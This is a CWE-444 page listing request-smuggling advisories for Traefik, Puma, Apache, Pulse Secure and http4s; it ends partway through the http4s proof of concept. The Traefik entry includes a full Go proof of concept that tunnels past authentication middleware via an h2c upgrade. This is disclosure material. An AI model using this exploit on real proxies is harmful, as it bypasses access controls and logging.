Common Weakness Enumeration
CWE-444
AllowedInconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Abstraction: Base · Status: Incomplete
The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.
673 vulnerabilities reference this CWE, most recent first.
GHSA-W4V4-9RW7-5326
Vulnerability from github – Published: 2026-09-10 23:04 – Updated: 2026-09-10 23:04
VLAI
Summary
Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization
Details
Summary
There is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 Upgrade mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated Upgrade: h2c request header and its connection-specific HTTP2-Settings header were forwarded to the backend. A backend that honours the h2c upgrade and answers 101 Switching Protocols puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the Upgrade: h2c token and the HTTP2-Settings header; Upgrade: websocket is unaffected. Exploitation requires a backend that upgrades h2c without validating the Connection listing; common off-the-shelf servers were not exploitable in testing.
Traefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.57
- https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description # Summary Traefik's default HTTP reverse proxy forwards arbitrary `Connection: Upgrade` / `Upgrade: ` requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik. This is exploitable when a backend accepts a non-WebSocket upgrade such as `h2c` and responds with `101 Switching Protocols`. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain. An attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route. For example:/public /admin
(no auth) (BasicAuth)
| |
+----------- same backend ------+
^
|
h2c tunnel
|
attacker
Attacker
|
| GET /public
| Connection: Upgrade
| Upgrade: h2c
v
Traefik
|
| r-public (no auth)
v
Backend
|
| 101 Switching Protocols
v
[raw byte tunnel]
|
| HTTP/2 GET /admin
v
Backend
go build ./cmd/traefik
Go 1.26.4
package main
import (
"bufio"
"fmt"
"net"
"net/http"
"strings"
"golang.org/x/net/http2"
)
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/public", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "public ok\n")
})
mux.HandleFunc("/admin", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(
w,
"ADMIN SECRET DATA (proto=%s path=%s)\n",
r.Proto,
r.URL.Path,
)
})
h2s := &http2.Server{}
ln, _ := net.Listen("tcp", "127.0.0.1:9900")
for {
c, err := ln.Accept()
if err != nil {
return
}
go func(conn net.Conn) {
br := bufio.NewReader(conn)
var sb strings.Builder
for {
line, err := br.ReadString('\n')
if err != nil {
return
}
sb.WriteString(line)
if line == "\r\n" {
break
}
}
if strings.Contains(sb.String(), "Upgrade: h2c") {
conn.Write([]byte(
"HTTP/1.1 101 Switching Protocols\r\n" +
"Connection: Upgrade\r\n" +
"Upgrade: h2c\r\n\r\n",
))
h2s.ServeConn(conn, &http2.ServeConnOpts{
Handler: mux,
})
return
}
conn.Close()
}(c)
}
}
entryPoints:
web:
address: "127.0.0.1:9080"
providers:
file:
filename: "dynamic.yml"
http:
routers:
r-public:
rule: "PathPrefix(`/public`)"
entryPoints: ["web"]
service: svc
r-admin:
rule: "PathPrefix(`/admin`)"
entryPoints: ["web"]
service: svc
middlewares: ["adminauth"]
middlewares:
adminauth:
basicAuth:
users:
- "admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs."
services:
svc:
loadBalancer:
servers:
- url: "http://127.0.0.1:9900"
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
"golang.org/x/net/http2"
)
func main() {
front := "127.0.0.1:9080"
resp, _ := http.Get("http://" + front + "/admin")
b, _ := io.ReadAll(resp.Body)
resp.Body.Close()
fmt.Printf(
"[1] Direct GET /admin (no creds) -> %d %q\n",
resp.StatusCode,
strings.TrimSpace(string(b)),
)
raw, _ := net.Dial("tcp", front)
raw.Write([]byte(
"GET /public HTTP/1.1\r\n" +
"Host: x\r\n" +
"Connection: Upgrade, HTTP2-Settings\r\n" +
"Upgrade: h2c\r\n" +
"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" +
"\r\n",
))
buf := make([]byte, 256)
raw.SetReadDeadline(time.Now().Add(3 * time.Second))
n, _ := raw.Read(buf)
fmt.Printf(
"[2] Upgrade: h2c to /public (no auth) -> %q\n",
strings.SplitN(string(buf[:n]), "\r\n", 2)[0],
)
raw.SetReadDeadline(time.Time{})
cc, _ := (&http2.Transport{}).NewClientConn(raw)
req, _ := http.NewRequest("GET", "http://x/admin", nil)
r2, _ := cc.RoundTrip(req)
b2, _ := io.ReadAll(r2.Body)
r2.Body.Close()
fmt.Printf(
"[3] HTTP/2 GET /admin over tunnel -> %d %q\n",
r2.StatusCode,
strings.TrimSpace(string(b2)),
)
}
[1] Direct GET /admin (no creds) -> 401 "401 Unauthorized"
[2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols"
[3] HTTP/2 GET /admin over tunnel -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"
Upgrade: h2c
Upgrade: <arbitrary-token>
/public (no auth)
|
| Upgrade: h2c
v
Traefik
|
| 101
v
raw tunnel
|
| HTTP/2 GET /admin
v
Backend
|
v
/admin
(middleware bypassed)
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.2"
},
{
"fixed": "3.7.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.11.26"
},
{
"fixed": "2.11.57"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-88008"
],
"database_specific": {
"cwe_ids": [
"CWE-444",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T23:04:37Z",
"nvd_published_at": "2026-09-10T15:17:56Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a high-severity request-smuggling vulnerability in Traefik\u0027s handling of the HTTP/1.1 `Upgrade` mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated `Upgrade: h2c` request header and its connection-specific `HTTP2-Settings` header were forwarded to the backend. A backend that honours the h2c upgrade and answers `101 Switching Protocols` puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the `Upgrade: h2c` token and the `HTTP2-Settings` header; `Upgrade: websocket` is unaffected. Exploitation requires a backend that upgrades h2c without validating the `Connection` listing; common off-the-shelf servers were not exploitable in testing.\n\nTraefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.57\n- https://github.com/traefik/traefik/releases/tag/v3.7.13\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\n\nTraefik\u0027s default HTTP reverse proxy forwards arbitrary `Connection: Upgrade` / `Upgrade: \u003ctoken\u003e` requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik.\n\nThis is exploitable when a backend accepts a non-WebSocket upgrade such as `h2c` and responds with `101 Switching Protocols`. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain.\n\nAn attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route.\n\nFor example:\n\n```text\n/public /admin\n(no auth) (BasicAuth)\n | |\n +----------- same backend ------+\n ^\n |\n h2c tunnel\n |\n attacker\n```\n\nThis allows middleware such as `BasicAuth`, `ForwardAuth`, `IPAllowList`, and `RateLimit` to be bypassed. Requests sent over the tunnel also bypass Traefik\u0027s normal access logging, metrics, and tracing.\n\nThe core issue is **unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after `101 Switching Protocols`**.\n\n# Technical Details\n\nThe default proxy implementation is `pkg/proxy/httputil` (the fast proxy remains experimental and is disabled by default).\n\nThe relevant request path is:\n\n* `pkg/middlewares/forwardedheaders/forwarded_header.go` (`removeConnectionHeaders`, ~lines 198-234)\n\n When `Connection: Upgrade` is present, the `Upgrade` header is preserved and forwarded downstream. There is no validation that the upgrade token is `websocket`.\n\n* `pkg/proxy/httputil/proxy.go` (`isWebSocketUpgrade`, ~line 170)\n\n WebSocket receives special header handling through `cleanWebSocketHeaders`, but this is not an allowlist. Other upgrade protocols are still passed through.\n\n* `pkg/server/service/smart_roundtripper.go` (`RoundTrip`, ~line 56)\n\n Requests containing `Connection: Upgrade` are sent to the backend over HTTP/1, allowing the backend to perform the upgrade.\n\n* `net/http/httputil.ReverseProxy`\n\n When the backend returns `101 Switching Protocols`, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.\n\nThe security boundary breaks at this point.\n\nThe Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns `101`, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.\n\nThe resulting flow is:\n\n```text\nAttacker\n |\n | GET /public\n | Connection: Upgrade\n | Upgrade: h2c\n v\nTraefik\n |\n | r-public (no auth)\n v\nBackend\n |\n | 101 Switching Protocols\n v\n[raw byte tunnel]\n |\n | HTTP/2 GET /admin\n v\nBackend\n```\n\nThe `/admin` request never reaches the `/admin` router. It is sent directly to the backend over the existing tunnel.\n\nI found no upgrade-token allowlist or `h2c` rejection in the relevant proxy path.\n\n## This is distinct from configured h2c support\n\nTraefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the `h2c://` service scheme / `transportH2C` configuration.\n\nThis issue is different.\n\nThe upgrade is initiated by the client through the `Upgrade` header. Traefik forwards it regardless of whether the operator configured h2c for that backend.\n\nTherefore, a plain HTTP/1 backend can still be affected if it happens to accept `Upgrade: h2c` and return `101`. The protocol switch is initiated by the client, and Traefik does not gate it.\n\n# PoC\n\nReproduced against a Traefik binary built from master at commit `9bb0e55`:\n\n```text\ngo build ./cmd/traefik\nGo 1.26.4\n```\n\nDefault configuration was used, with no `encodedCharacters` or upgrade-related options enabled.\n\n## 1. Backend\n\nThe backend implements a minimal HTTP/1.1 \u2192 h2c upgrade handler.\n\nIt exposes:\n\n* `/public` \u2014 unauthenticated\n* `/admin` \u2014 intended to be protected by Traefik\n\n```go\npackage main\n\nimport (\n \"bufio\"\n \"fmt\"\n \"net\"\n \"net/http\"\n \"strings\"\n\n \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n mux := http.NewServeMux()\n\n mux.HandleFunc(\"/public\", func(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(w, \"public ok\\n\")\n })\n\n mux.HandleFunc(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(\n w,\n \"ADMIN SECRET DATA (proto=%s path=%s)\\n\",\n r.Proto,\n r.URL.Path,\n )\n })\n\n h2s := \u0026http2.Server{}\n\n ln, _ := net.Listen(\"tcp\", \"127.0.0.1:9900\")\n\n for {\n c, err := ln.Accept()\n if err != nil {\n return\n }\n\n go func(conn net.Conn) {\n br := bufio.NewReader(conn)\n var sb strings.Builder\n\n for {\n line, err := br.ReadString(\u0027\\n\u0027)\n if err != nil {\n return\n }\n\n sb.WriteString(line)\n\n if line == \"\\r\\n\" {\n break\n }\n }\n\n if strings.Contains(sb.String(), \"Upgrade: h2c\") {\n conn.Write([]byte(\n \"HTTP/1.1 101 Switching Protocols\\r\\n\" +\n \"Connection: Upgrade\\r\\n\" +\n \"Upgrade: h2c\\r\\n\\r\\n\",\n ))\n\n h2s.ServeConn(conn, \u0026http2.ServeConnOpts{\n Handler: mux,\n })\n\n return\n }\n\n conn.Close()\n }(c)\n }\n}\n```\n\n## 2. Traefik configuration\n\n`traefik.yml`:\n\n```yaml\nentryPoints:\n web:\n address: \"127.0.0.1:9080\"\n\nproviders:\n file:\n filename: \"dynamic.yml\"\n```\n\n`dynamic.yml`:\n\n```yaml\nhttp:\n routers:\n r-public:\n rule: \"PathPrefix(`/public`)\"\n entryPoints: [\"web\"]\n service: svc\n\n r-admin:\n rule: \"PathPrefix(`/admin`)\"\n entryPoints: [\"web\"]\n service: svc\n middlewares: [\"adminauth\"]\n\n middlewares:\n adminauth:\n basicAuth:\n users:\n - \"admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs.\"\n\n services:\n svc:\n loadBalancer:\n servers:\n - url: \"http://127.0.0.1:9900\"\n```\n\nBoth routers terminate on the same backend. Only `/admin` has authentication.\n\n## 3. Attacker\n\nThe PoC first verifies that `/admin` is protected, then establishes an unauthenticated `h2c` tunnel through `/public` and sends `/admin` over the resulting HTTP/2 connection.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n\n \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n front := \"127.0.0.1:9080\"\n\n resp, _ := http.Get(\"http://\" + front + \"/admin\")\n b, _ := io.ReadAll(resp.Body)\n resp.Body.Close()\n\n fmt.Printf(\n \"[1] Direct GET /admin (no creds) -\u003e %d %q\\n\",\n resp.StatusCode,\n strings.TrimSpace(string(b)),\n )\n\n raw, _ := net.Dial(\"tcp\", front)\n\n raw.Write([]byte(\n \"GET /public HTTP/1.1\\r\\n\" +\n \"Host: x\\r\\n\" +\n \"Connection: Upgrade, HTTP2-Settings\\r\\n\" +\n \"Upgrade: h2c\\r\\n\" +\n \"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\\r\\n\" +\n \"\\r\\n\",\n ))\n\n buf := make([]byte, 256)\n\n raw.SetReadDeadline(time.Now().Add(3 * time.Second))\n n, _ := raw.Read(buf)\n\n fmt.Printf(\n \"[2] Upgrade: h2c to /public (no auth) -\u003e %q\\n\",\n strings.SplitN(string(buf[:n]), \"\\r\\n\", 2)[0],\n )\n\n raw.SetReadDeadline(time.Time{})\n\n cc, _ := (\u0026http2.Transport{}).NewClientConn(raw)\n\n req, _ := http.NewRequest(\"GET\", \"http://x/admin\", nil)\n\n r2, _ := cc.RoundTrip(req)\n b2, _ := io.ReadAll(r2.Body)\n r2.Body.Close()\n\n fmt.Printf(\n \"[3] HTTP/2 GET /admin over tunnel -\u003e %d %q\\n\",\n r2.StatusCode,\n strings.TrimSpace(string(b2)),\n )\n}\n```\n\n### Result\n\n```text\n[1] Direct GET /admin (no creds) -\u003e 401 \"401 Unauthorized\"\n[2] Upgrade: h2c to /public (no auth) -\u003e \"HTTP/1.1 101 Switching Protocols\"\n[3] HTTP/2 GET /admin over tunnel -\u003e 200 \"ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)\"\n```\n\nThis demonstrates the bypass:\n\n* Direct `/admin` \u2192 `401`\n* Unauthenticated `/public` \u2192 `101`\n* `/admin` over the established h2c tunnel \u2192 `200`\n\nThe PoC therefore shows that the `/admin` middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.\n\n# Impact\n\nThe issue is exploitable when:\n\n1. An attacker can reach a router without the relevant security middleware.\n2. That router points to the same backend as a protected router.\n3. The backend accepts `Upgrade: h2c` and returns `101 Switching Protocols`.\n4. Traefik allows the resulting upgrade to complete.\n\nUnder these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.\n\nPotentially affected middleware includes:\n\n* `BasicAuth`\n* `ForwardAuth`\n* `IPAllowList`\n* `RateLimit`\n* header/security middleware\n* other per-request middleware attached to the protected router\n\nThe tunneled requests also bypass Traefik\u0027s normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.\n\nThe impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.\n\n# Scope / Preconditions\n\nThe backend must support the HTTP/1.1 \u2192 h2c upgrade mechanism and return `101 Switching Protocols`.\n\nThis is not true for every HTTP/2-capable backend.\n\nFor example, recent `golang.org/x/net/http2/h2c` implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.\n\nOlder implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.\n\nTherefore, this is **not** a generic \"Traefik + HTTP/2 backend = vulnerable\" issue. The backend\u0027s ability to accept the client-initiated upgrade is a required prerequisite.\n\nThe Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.\n\n# Suggested Fix\n\nThe proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.\n\nAt minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:\n\n```text\nUpgrade: h2c\nUpgrade: \u003carbitrary-token\u003e\n```\n\nMore generally, Traefik should not treat an arbitrary `101 Switching Protocols` response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.\n\nThe relevant security property is:\n\n\u003e **A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik\u0027s HTTP routing/middleware layer.**\n\n# TL;DR\n\nTraefik forwards arbitrary client-supplied `Upgrade` tokens.\n\nIf a backend accepts `Upgrade: h2c` and returns `101`, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik\u0027s routers or middleware.\n\nAn attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:\n\n```text\n/public (no auth)\n |\n | Upgrade: h2c\n v\n Traefik\n |\n | 101\n v\n raw tunnel\n |\n | HTTP/2 GET /admin\n v\n Backend\n |\n v\n/admin\n(middleware bypassed)\n```\n\nIn the PoC, a direct unauthenticated request to `/admin` returns `401`, while the same endpoint accessed over the h2c tunnel returns `200`.\n\nThe root cause is **unrestricted client-initiated protocol upgrades combined with the loss of Traefik\u0027s HTTP routing/middleware enforcement after `101 Switching Protocols`.**\n\n\u003c/details\u003e\n---",
"id": "GHSA-w4v4-9rw7-5326",
"modified": "2026-09-10T23:04:37Z",
"published": "2026-09-10T23:04:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-w4v4-9rw7-5326"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88008"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/pull/13797"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/a277e94664ffc1ce9543df552d3bbf48d4d3b8b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.57"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027) and Incorrect Authorization"
}
GHSA-W594-HMPV-QHH5
Vulnerability from github – Published: 2022-10-01 00:00 – Updated: 2024-02-27 21:31
VLAI
Details
Pulse Secure version 9.115 and below may be susceptible to client-side http request smuggling, When the application receives a POST request, it ignores the request's Content-Length header and leaves the POST body on the TCP/TLS socket. This body ends up prefixing the next HTTP request sent down that connection, this means when someone loads website attacker may be able to make browser issue a POST to the application, enabling XSS.
Severity
5.4 (Medium)
{
"affected": [],
"aliases": [
"CVE-2022-21826"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-30T17:15:00Z",
"severity": "MODERATE"
},
"details": "Pulse Secure version 9.115 and below may be susceptible to client-side http request smuggling, When the application receives a POST request, it ignores the request\u0027s Content-Length header and leaves the POST body on the TCP/TLS socket. This body ends up prefixing the next HTTP request sent down that connection, this means when someone loads website attacker may be able to make browser issue a POST to the application, enabling XSS.",
"id": "GHSA-w594-hmpv-qhh5",
"modified": "2024-02-27T21:31:24Z",
"published": "2022-10-01T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21826"
},
{
"type": "WEB",
"url": "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/Client-Side-Desync-Attack"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W64W-QQPH-5GXM
Vulnerability from github – Published: 2020-05-22 14:55 – Updated: 2023-05-16 15:55
VLAI
Summary
HTTP Smuggling via Transfer-Encoding Header in Puma
Details
Impact
This is a similar but different vulnerability to the one patched in 3.12.5 and 4.3.4.
A client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client.
If the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request's body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.
Patches
The problem has been fixed in Puma 3.12.6 and Puma 4.3.5.
For more information
If you have any questions or comments about this advisory:
- Open an issue in Puma
- See our security policy
Severity
6.8 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "puma"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "puma"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.3.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-11077"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2020-05-22T14:46:33Z",
"nvd_published_at": "2020-05-22T15:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nThis is a similar but different vulnerability to the one patched in 3.12.5 and 4.3.4.\n\nA client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client. \n\nIf the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request\u0027s body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.\n\n### Patches\n\nThe problem has been fixed in Puma 3.12.6 and Puma 4.3.5.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma)\n* See our [security policy](https://github.com/puma/puma/security/policy)",
"id": "GHSA-w64w-qqph-5gxm",
"modified": "2023-05-16T15:55:12Z",
"published": "2020-05-22T14:55:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/puma/puma/security/advisories/GHSA-w64w-qqph-5gxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11077"
},
{
"type": "PACKAGE",
"url": "https://github.com/puma/puma"
},
{
"type": "WEB",
"url": "https://github.com/puma/puma/blob/master/History.md#434435-and-31253126--2020-05-22"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/puma/CVE-2020-11077.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/10/msg00009.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SKIY5H67GJIGJL6SMFWFLUQQQR3EMVPR"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00034.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00038.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "HTTP Smuggling via Transfer-Encoding Header in Puma"
}
GHSA-WC6R-9C75-44GQ
Vulnerability from github – Published: 2023-03-07 18:30 – Updated: 2023-03-14 18:30
VLAI
Details
Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected when mod_proxy is enabled along with some form of RewriteRule or ProxyPassMatch in which a non-specific pattern matches some portion of the user-supplied request-target (URL) data and is then re-inserted into the proxied request-target using variable substitution. For example, something like: RewriteEngine on RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P] ProxyPassReverse /here/ http://example.com:8080/ Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning. Users are recommended to update to at least version 2.4.56 of Apache HTTP Server.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2023-25690"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-07T16:15:00Z",
"severity": "CRITICAL"
},
"details": "Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected when mod_proxy is enabled along with some form of RewriteRule or ProxyPassMatch in which a non-specific pattern matches some portion of the user-supplied request-target (URL) data and is then re-inserted into the proxied request-target using variable substitution. For example, something like: RewriteEngine on RewriteRule \"^/here/(.*)\" \"http://example.com:8080/elsewhere?$1\"; [P] ProxyPassReverse /here/ http://example.com:8080/ Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning. Users are recommended to update to at least version 2.4.56 of Apache HTTP Server.",
"id": "GHSA-wc6r-9c75-44gq",
"modified": "2023-03-14T18:30:26Z",
"published": "2023-03-07T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25690"
},
{
"type": "WEB",
"url": "https://httpd.apache.org/security/vulnerabilities_24.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00028.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202309-01"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176334/Apache-2.4.55-mod_proxy-HTTP-Request-Smuggling.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WCWH-7GFW-5WRR
Vulnerability from github – Published: 2025-09-23 17:37 – Updated: 2025-10-13 15:20
VLAI
Summary
Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section
Details
Summary
http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to: - Bypass front-end servers security controls - Launch targeted attacks against active users - Poison web caches
Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.
Details
The HTTP chunked message parser, after parsing the last body chunk, calls parseTrailers (ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142).
This method parses the trailer section using Parser.parse, where the issue originates.
parse has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that does not include the colon character, it continues parsing with state=false looking for the header name till reaching the condition else if (current == lf && (idx > 0 && message(idx - 1) == cr)) that sets complete=true even if no \r\n\r\n is found.
if (current == colon) {
state = true // set state to check for header value
name = new String(message, start, idx - start) // extract name string
start = idx + 1 // advance past colon for next start
// TODO: This if clause may not be necessary since the header value parser trims
if (message.size > idx + 1 && message(idx + 1) == space) {
start += 1 // if colon is followed by space advance again
idx += 1 // double advance index here to skip the space
}
// double CRLF condition - Termination of headers
} else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check
complete = true // completed terminate loop
}
The remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.
PoC
Start a simple webserver that echoes the received requests:
import cats.effect._
import cats.implicits._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.ember.server.EmberServerBuilder
import org.http4s.server.Router
import org.http4s.server.middleware.RequestLogger
import org.typelevel.log4cats.LoggerFactory
import org.typelevel.log4cats.slf4j.Slf4jFactory
import com.comcast.ip4s._
object ExploitServer extends IOApp {
implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]
val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {
case req @ _ =>
for {
bodyStr <- req.bodyText.compile.string
method = req.method.name
uri = req.uri.toString()
version = req.httpVersion.toString
headers = req.headers.headers.map { header =>
s"${header.name.toString.toLowerCase}: ${header.value}"
}.mkString("\n")
responseText = s"""$method $uri $version
$headers
$bodyStr
"""
result <- Ok(responseText)
} yield result
}
val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(
Router("/" -> echoService).orNotFound
)
override def run(args: List[String]): IO[ExitCode] = {
EmberServerBuilder
.default[IO]
